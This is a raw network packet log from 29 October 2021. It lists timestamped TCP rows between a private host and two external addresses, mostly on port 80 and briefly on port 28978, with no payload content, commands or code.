Oct 29, 2021 17:56:06.934990883 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.935040951 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.935064077 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.023271084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.023379087 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.023417950 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.023488045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.023544073 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.023602962 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.023896933 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.023956060 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.024008989 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024045944 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024087906 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.024163008 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024287939 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024339914 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.024421930 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024458885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024511099 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.024533987 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024775028 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024837971 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.024890900 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024930954 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024966955 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.024981022 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.025155067 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025194883 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025226116 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.025233030 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025268078 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025284052 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.025356054 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025401115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025413036 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.025441885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025480032 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.025512934 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.025989056 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026065111 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026081085 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.026103973 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026154995 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.026233912 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026401043 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026437998 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026463985 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.026473999 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026532888 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.026609898 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026742935 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.026815891 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.026964903 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027004004 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027053118 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.027137041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027302027 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027343035 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027348042 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.027539015 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027607918 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.027650118 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027690887 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027734041 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.027772903 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.027997971 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028049946 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.028094053 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028253078 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028306007 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.028431892 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028477907 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028562069 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.028614998 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028736115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028804064 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.028944969 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.028985977 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.029055119 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.029109955 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030158043 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030203104 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030236006 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.030260086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030308962 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.030339003 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030499935 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030563116 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.030649900 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030719042 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.030776024 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.031059980 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031100035 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031162024 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.031167030 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031243086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031301022 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.031395912 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031517982 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031588078 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.031629086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031759977 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.031809092 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.031877995 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032012939 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032056093 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032118082 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032258034 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.032262087 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.032279015 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032347918 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032402039 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.032485962 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032526016 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032576084 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.032660007 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032747984 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.032803059 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.032927990 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033016920 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033143044 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033179998 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.033226013 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033272982 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.033421993 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033499956 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033550024 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.033605099 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033782005 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.033844948 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.033906937 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034025908 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034092903 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.034147024 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034205914 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034248114 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034257889 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.034436941 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034492970 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.034543037 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034702063 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034743071 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034763098 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.034785986 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.034835100 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.034989119 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035037041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035099983 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.035183907 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035303116 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035361052 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.035362005 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035536051 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035594940 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.035614014 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035737991 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035790920 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.035871983 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.035972118 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036014080 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036026001 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.036134005 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036190033 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.036315918 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036358118 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036405087 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.036485910 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036631107 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.036684990 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037116051 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037142038 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037164927 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037188053 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037211895 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037218094 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037236929 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037267923 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037293911 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037373066 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037482977 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037533998 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037605047 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037720919 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037746906 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037774086 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037882090 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.037931919 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.037981033 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.038119078 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.038172960 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.038234949 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.038364887 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.038475990 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.038595915 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.038629055 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.038641930 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.038753986 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039167881 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039235115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039252043 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.039354086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039393902 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.039464951 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039582014 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039634943 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.039719105 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039839029 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039861917 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.039889097 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.039995909 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040055037 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.040158987 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040234089 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040291071 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.040357113 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040381908 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040432930 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.040467024 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040638924 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040683031 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.040760040 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040785074 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040834904 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040843964 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.040962934 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.040987968 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041021109 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.041157961 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041203022 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.041238070 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041404963 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041462898 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.041465998 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041599035 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041646957 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.041717052 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041840076 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.041887999 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.041914940 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042040110 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042098045 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.042119026 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042237043 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042288065 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.042382956 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042464972 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042515993 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.042612076 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042637110 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042682886 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.042771101 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042876005 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.042926073 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.042942047 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.043160915 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.043186903 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.043240070 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.043380022 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.043457985 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.043467999 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.043984890 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044049978 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.044161081 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044234037 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044277906 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.044357061 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044461966 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044507980 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.044639111 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044739962 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.044794083 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.044873953 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.047415972 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.047465086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.047473907 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.047641039 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.047704935 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.047717094 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.047883987 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.047941923 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.047992945 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048158884 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048208952 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.048233986 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048352957 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048398972 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.048480988 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048603058 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048650980 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.048719883 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048886061 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.048938990 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.049041033 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049118042 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049165010 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.049190998 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049237967 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049283028 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.049387932 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049566984 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049593925 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049614906 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.049763918 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049815893 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.049868107 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.049998045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.050048113 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.050115108 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.050277948 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.050323963 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.050353050 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.050523043 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.050576925 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.050587893 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.121335983 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.121449947 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.121501923 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.121798038 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.121843100 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.121975899 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.122031927 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.122121096 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.220895052 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.224226952 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.224308014 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.224342108 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:07.224391937 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.224455118 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.224505901 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:07.776607037 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:07.827234983 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:07.952305079 CEST	49854	28978	192.168.2.6	93.115.20.139
